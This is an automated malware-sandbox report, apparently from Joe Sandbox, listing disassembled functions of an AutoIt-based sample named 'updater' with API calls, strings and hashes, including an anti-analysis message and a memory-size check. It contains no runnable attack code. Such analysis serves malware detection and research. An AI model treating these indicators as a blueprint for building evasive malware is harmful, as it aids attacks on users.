Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: e6d43bf1cf3a8667a6e0eb4c0f3ecda66362622769c2888e7c1836e0a8b6418f
Instruction ID: 17b94a9036637303b58e240b053ab0229b4a9c83354a841769faa521d9fbd932
Opcode Fuzzy Hash: e6d43bf1cf3a8667a6e0eb4c0f3ecda66362622769c2888e7c1836e0a8b6418f
Instruction Fuzzy Hash: 3A216B70944308EFEB109FA4ED09B9D7FF4FB08710F100269F618A62A2C7B55580CF80

Function 00BC4D83 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00BC4E22
KillTimer.USER32(?,00000001), ref: 00BC4E4C
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00BC4E6F
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00BC4E7A
CreatePopupMenu.USER32 ref: 00BC4E8E
PostQuitMessage.USER32(00000000), ref: 00BC4EAF

Strings

TaskbarCreated, xrefs: 00BC4E75

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: fe27741c5d3ee0120c6f8652640680c63ce8b6ef71f143e4bec50d51d846d59d
Instruction ID: b3a1610435702f1504a42467ec649264f4830b2ee037105e114a723965046dc8
Opcode Fuzzy Hash: fe27741c5d3ee0120c6f8652640680c63ce8b6ef71f143e4bec50d51d846d59d
Instruction Fuzzy Hash: AD41F67124460FABDB295F24DC59FBE3AD5F741300F1202ADFA15912E2CB709E90D762

Function 0126A521 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 161windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Executing manually will not work,0126A7C1,00000000), ref: 0126A582
MessageBoxA.USER32(00000000,no data,0126A7C1,00000000), ref: 0126A5FA
GetTickCount.KERNEL32 ref: 0126A692

Strings

CbirNKNZ, xrefs: 0126A552
Executing manually will not work, xrefs: 0126A57B
no data, xrefs: 0126A5F3

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Message$CountTick
String ID: CbirNKNZ$Executing manually will not work$no data
API String ID: 1431039135-1077164830
Opcode ID: f26b969ef221e60d17fbf63412a270c33205ad647d60c030885a2f5418f566e1
Instruction ID: e7abf55f1b40799ac68dc450230300b096cfc5c8addf382ea8db62d4c39b7624
Opcode Fuzzy Hash: f26b969ef221e60d17fbf63412a270c33205ad647d60c030885a2f5418f566e1
Instruction Fuzzy Hash: 2B61FA38B20106CFD755FB54F8D4AADB3B9FB68300F608151E911A73E9DB38AC918B65

Function 00BC50DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00BC5109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00BC512A
ShowWindow.USER32(00000000), ref: 00BC513E
ShowWindow.USER32(00000000), ref: 00BC5147

Strings

edit, xrefs: 00BC5124
AutoIt v3, xrefs: 00BC5101, 00BC5106, 00BC5107

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 9557eb71925da69e2f5da50c13a26ed1f963791a3e87aa4ce95977ec56920dec
Instruction ID: b755ca9bf37749689212f4d504725b3306286a9df815ae659b1e594f4a4349e4
Opcode Fuzzy Hash: 9557eb71925da69e2f5da50c13a26ed1f963791a3e87aa4ce95977ec56920dec
Instruction Fuzzy Hash: 09F01D70544298BAEB2117236C08F2B2E7DF7C6F10F120229BA1492272C5751880DAB0

Function 012632C5 Relevance: 9.1, APIs: 6, Instructions: 106filewindowCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,01267715,00000001,00000000,00000000,00000000), ref: 012632E1
MessageBoxA.USER32(00000000,012633FD,012633F9,00000000), ref: 012632FB
GetFileSize.KERNEL32(00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,01267715,00000001,00000000), ref: 01263303
ReadFile.KERNEL32(00000000,00000000,00000003,00000003,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 01263325
MessageBoxA.USER32(00000000,01263401,012633F9,00000000), ref: 0126333C
CloseHandle.KERNEL32(00000000,00000000,00000000,00000003,00000003,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 012633E6

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: File$Message$CloseCreateHandleReadSize
String ID:
API String ID: 2324011479-0
Opcode ID: 33e813d4cb51dd5a99e898afffaff43be2cebea381dbf5741e6997ada937fead
Instruction ID: 99bb27efdda9f37999e30dcf92dcec8651bf78b3c6ccd1a9a9b138d13e2ad1b3
Opcode Fuzzy Hash: 33e813d4cb51dd5a99e898afffaff43be2cebea381dbf5741e6997ada937fead
Instruction Fuzzy Hash: E2311B74754302AFD344EF29CC81F6AB3E9FF84B50F10892CB958DB385DA70E8558AA1

Function 00C19B16 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00BC4A8C: _fseek.LIBCMT ref: 00BC4AA4

Part of subcall function 00C19CF1: _wcscmp.LIBCMT ref: 00C19DE1
Part of subcall function 00C19CF1: _wcscmp.LIBCMT ref: 00C19DF4

_free.LIBCMT ref: 00C19C5F
_free.LIBCMT ref: 00C19C66
_free.LIBCMT ref: 00C19CD1

Part of subcall function 00BD2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00BD9C54,00000000,00BD8D5D,00BD59C3), ref: 00BD2F99
Part of subcall function 00BD2F85: GetLastError.KERNEL32(00000000,?,00BD9C54,00000000,00BD8D5D,00BD59C3), ref: 00BD2FAB

_free.LIBCMT ref: 00C19CD9

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00C19B8F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: 05ecf55287fbc005cd23a865998957d3e0ddc644ac1dbb8a37515ec98b33cae7
Instruction ID: 1a00d380bbd6addaec4fe622f360c609566d4d65105533f2a5d6d34635190106
Opcode Fuzzy Hash: 05ecf55287fbc005cd23a865998957d3e0ddc644ac1dbb8a37515ec98b33cae7
Instruction Fuzzy Hash: BE5148B1904219AFDF24DF64DC91AAEFBB9FF48304F1004AEB249A3341DB715A808F58

Function 0126641A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,?,01266818), ref: 01266436
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 01266443
GlobalMemoryStatusEx.KERNELBASE(?,00000000,GlobalMemoryStatusEx,kernel32.dll,00000000,?,01266818), ref: 01266449

Strings

GlobalMemoryStatusEx, xrefs: 0126643D
kernel32.dll, xrefs: 01266431

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: AddressGlobalHandleMemoryModuleProcStatus
String ID: GlobalMemoryStatusEx$kernel32.dll
API String ID: 2450578220-2840702992
Opcode ID: 53d5650cc0950511254729e7f2d64e592e97123b1634b35720ce0d2247157708
Instruction ID: aa50bf2e1f1ffb3b2f0f8a3d3277b3df75b18a8b6d815f2d3f948eeae1204234
Opcode Fuzzy Hash: 53d5650cc0950511254729e7f2d64e592e97123b1634b35720ce0d2247157708
Instruction Fuzzy Hash: 1D012274B513118FDB52EFA8E49889933E4FF21320F214599D800CB3AAC7785C92CB60

Function 0126642D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,?,01266818), ref: 01266436
GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 01266443
GlobalMemoryStatusEx.KERNELBASE(?,00000000,GlobalMemoryStatusEx,kernel32.dll,00000000,?,01266818), ref: 01266449

Strings

GlobalMemoryStatusEx, xrefs: 0126643D
kernel32.dll, xrefs: 01266431

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: AddressGlobalHandleMemoryModuleProcStatus
String ID: GlobalMemoryStatusEx$kernel32.dll
API String ID: 2450578220-2840702992
Opcode ID: a4ebfc132d997b387c1afab091683072d46ab59e3cc020c219d47ea8bfde83c1
Instruction ID: ed683522fc72c6e8604c900b84fe8cf299eb983069ebe0a1d440226d4a0008df
Opcode Fuzzy Hash: a4ebfc132d997b387c1afab091683072d46ab59e3cc020c219d47ea8bfde83c1
Instruction Fuzzy Hash: D1C092923723313E3A60B6F92CC1CBB018DED956E1B112466FD00E3142DDA54D4212F1

Function 00BD563D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BD569B
_memcpy_s.LIBCMT ref: 00BD570D
__read_nolock.LIBCMT ref: 00BD576B
__filbuf.LIBCMT ref: 00BD578E
_memset.LIBCMT ref: 00BD57D2

Part of subcall function 00BD8D58: __getptd_noexit.LIBCMT ref: 00BD8D58

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction ID: 7119e60191bf32702feafb87f9fe9c7ae603e242448050a9412a25dbbd793874
Opcode Fuzzy Hash: 00b866a24d890f7fe79ae922164f866efed2fee1f991de586a4896b02612db73
Instruction Fuzzy Hash: 5B517E74A00B05DBDB349EA9888066EFBE5EF41360F7487ABE825963D4F770DD509B40

Function 00BB52B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BB52E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BB534A
TranslateMessage.USER32(?), ref: 00BB5356
DispatchMessageW.USER32(?), ref: 00BB5360

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: fe0f1d7e7f269d050c54a98dbc78db12eaf9545e4132070a500fb8e0b59b6614
Instruction ID: f8deae21fdfaeef4d6cf982b17cd59524894ecab29907133f84c9b959d12a053
Opcode Fuzzy Hash: fe0f1d7e7f269d050c54a98dbc78db12eaf9545e4132070a500fb8e0b59b6614
Instruction Fuzzy Hash: BE31F230508B4A9BEB30CB65DC84BF937E8EB01340F2401EAE527972E1D7F19885D756

Function 00BB1284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00BB1275,SwapMouseButtons,00000004,?), ref: 00BB12A8
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00BB1275,SwapMouseButtons,00000004,?), ref: 00BB12C9
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00BB1275,SwapMouseButtons,00000004,?), ref: 00BB12EB

Strings

Control Panel\Mouse, xrefs: 00BB12A6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 4bdd413fbcce119f70c11f5d4c5b620e3cbc0fc6bedd65bb99387fb89ddfc44d
Instruction ID: 8ee33d3da2a52ae314d188a205074fb659d72f7af3e293f1aa6c88fe38287d6a
Opcode Fuzzy Hash: 4bdd413fbcce119f70c11f5d4c5b620e3cbc0fc6bedd65bb99387fb89ddfc44d
Instruction Fuzzy Hash: BA111875510208BFDB208FA8DC84BFEBBECEF05741F504999E905D7110E6B19E4097A4

Function 00BC5B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BC5B58

Part of subcall function 00BC56F8: _memset.LIBCMT ref: 00BC5787
Part of subcall function 00BC56F8: _wcscpy.LIBCMT ref: 00BC57DB
Part of subcall function 00BC56F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00BC57EB

KillTimer.USER32(?,00000001,?,?), ref: 00BC5BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00BC5BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00C00D7C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: dc454ac35cb23648d605d37cc8461ff607a1edb5c9f458e06e07b6af54134900
Instruction ID: b0536ccb5c91f3f2829a3cb82acc19483e60c141b90f551fed556dd849515e57
Opcode Fuzzy Hash: dc454ac35cb23648d605d37cc8461ff607a1edb5c9f458e06e07b6af54134900
Instruction Fuzzy Hash: 8821A474904B84AFE7728B648895FEABFECAF01308F1404DDE69A56282C7743EC4DB51

Function 01266F6D Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,01266FFC), ref: 01266FAD
GetFileSize.KERNEL32(00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,01266FFC), ref: 01266FBC
ReadFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,01266FFC), ref: 01266FDB
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 01266FE1

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize
String ID:
API String ID: 3919263394-0
Opcode ID: 1a51fb9cf1e5d66d472995e83ca638dc6aaae45c2bddaea96a061050aedfde73
Instruction ID: f2ed3e79b94c3d6d6a17e03bdf5953eb855c8733687fa1e875670f87e590292d
Opcode Fuzzy Hash: 1a51fb9cf1e5d66d472995e83ca638dc6aaae45c2bddaea96a061050aedfde73
Instruction Fuzzy Hash: 6A112D70A24305BFE760EB78CCC2F6EB7ECEB08710F600565B914E62D0DA716E508760

Function 00BC278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00BC49C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00BC27AF,?,00000001), ref: 00BC49F4

_free.LIBCMT ref: 00BFFB04
_free.LIBCMT ref: 00BFFB4B

Part of subcall function 00BC29BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00BC2ADF

Strings

Bad directive syntax error, xrefs: 00BFFB33

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: 701bc02ebcb61cc7452cd53debbd80e91a57176d4b6416878f61c113f60c2e94
Instruction ID: 547eafc15f94812b81723fa6109e8c8b48920bfa190de884914eb0bb95b1c2a0
Opcode Fuzzy Hash: 701bc02ebcb61cc7452cd53debbd80e91a57176d4b6416878f61c113f60c2e94
Instruction Fuzzy Hash: 8D917E7190021AAFCF14EFA4C891AFDB7F4FF05310F1085AAF915AB2A1DB709A49DB50

Function 00C19CF1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00BC4AB2: __fread_nolock.LIBCMT ref: 00BC4AD0

_wcscmp.LIBCMT ref: 00C19DE1
_wcscmp.LIBCMT ref: 00C19DF4

Strings

FILE, xrefs: 00C19D2D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: d0afd8c031bb99fce7f39916753dc91cc7b5c9e664eef1a0b3df3cae1d1dfce3
Instruction ID: f5c5196e4c673079707a0536e91ee1919bdb79f17e47f7e01f1cc5ce4765fd7b
Opcode Fuzzy Hash: d0afd8c031bb99fce7f39916753dc91cc7b5c9e664eef1a0b3df3cae1d1dfce3
Instruction Fuzzy Hash: FD41D871A40209BADF21DAA4CC55FEFB7FDDF46710F00446AF900A7281DB719A449B65

Function 0126A483 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 106COMMON

Download Yara Rule

Strings

CbirNKNZ, xrefs: 0126A552
Executing manually will not work, xrefs: 0126A57B

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID:
String ID: CbirNKNZ$Executing manually will not work
API String ID: 0-1105352921
Opcode ID: c0c510ade8229fea73e3fbb49769bba0e31d03ae1bbd85ea428c81be7a8a3595
Instruction ID: 3ed10a9a8c21d4a7dc9f526986347dc147fdd2bd9e87d93a90721e0875e9a81f
Opcode Fuzzy Hash: c0c510ade8229fea73e3fbb49769bba0e31d03ae1bbd85ea428c81be7a8a3595
Instruction Fuzzy Hash: B941F0709A5309CFC7A6EF60DC822ACB7B9EB64320F24806ED841676C0F7795992CB14

Function 0126A4DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Executing manually will not work,0126A7C1,00000000), ref: 0126A582

Strings

CbirNKNZ, xrefs: 0126A552
Executing manually will not work, xrefs: 0126A57B

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: Message
String ID: CbirNKNZ$Executing manually will not work
API String ID: 2030045667-1105352921
Opcode ID: 044995f5bf22dfd39d066658dec6fe93d3eaa57a58a73332c94156c6b9c9c7fd
Instruction ID: 77972db73655b27167e0ed8f0a7ce49ff5ff0ec418f02378fd1facb482dba66c
Opcode Fuzzy Hash: 044995f5bf22dfd39d066658dec6fe93d3eaa57a58a73332c94156c6b9c9c7fd
Instruction Fuzzy Hash: 8E21D430A64309CFD756EBA1E8927AC77B9EB58710F20806AE501A76C4EB7D5C92CB14

Function 00BC31BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C0032B
GetOpenFileNameW.COMDLG32(?), ref: 00C00375

Part of subcall function 00BD0284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BC2A58,?,00008000), ref: 00BD02A4

Part of subcall function 00BD09C5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00BD09E4

Strings

X, xrefs: 00C00343

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 251040b25db04ba57d9c00a095dbd92f207d37b8fca51619120210de2f41fc6f
Instruction ID: dd56b5e43dc817fd9997bd12806a3a161820285077858753d06acbdba8911c29
Opcode Fuzzy Hash: 251040b25db04ba57d9c00a095dbd92f207d37b8fca51619120210de2f41fc6f
Instruction Fuzzy Hash: 8821A871A142889BCF51DFD8C845BEE7BF8AF49710F10409AE414B7241DBB55A88CFA1

Function 00C2D1C6 Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f593025bf8da53be6bf62d769b6ffa555155ffe6b53bf0f4f61f19c2750a7d5d
Instruction ID: a15c21f27555717b096c09a998e145e100d8fbf2f1e20858223f94c085ca0a49
Opcode Fuzzy Hash: f593025bf8da53be6bf62d769b6ffa555155ffe6b53bf0f4f61f19c2750a7d5d
Instruction Fuzzy Hash: 72F158706083119FC714DF28D480A6ABBE5FF98314F14896EF8AA9B352D770E945CF82

Function 00BBAAAA Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD07BB: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00BD07EC
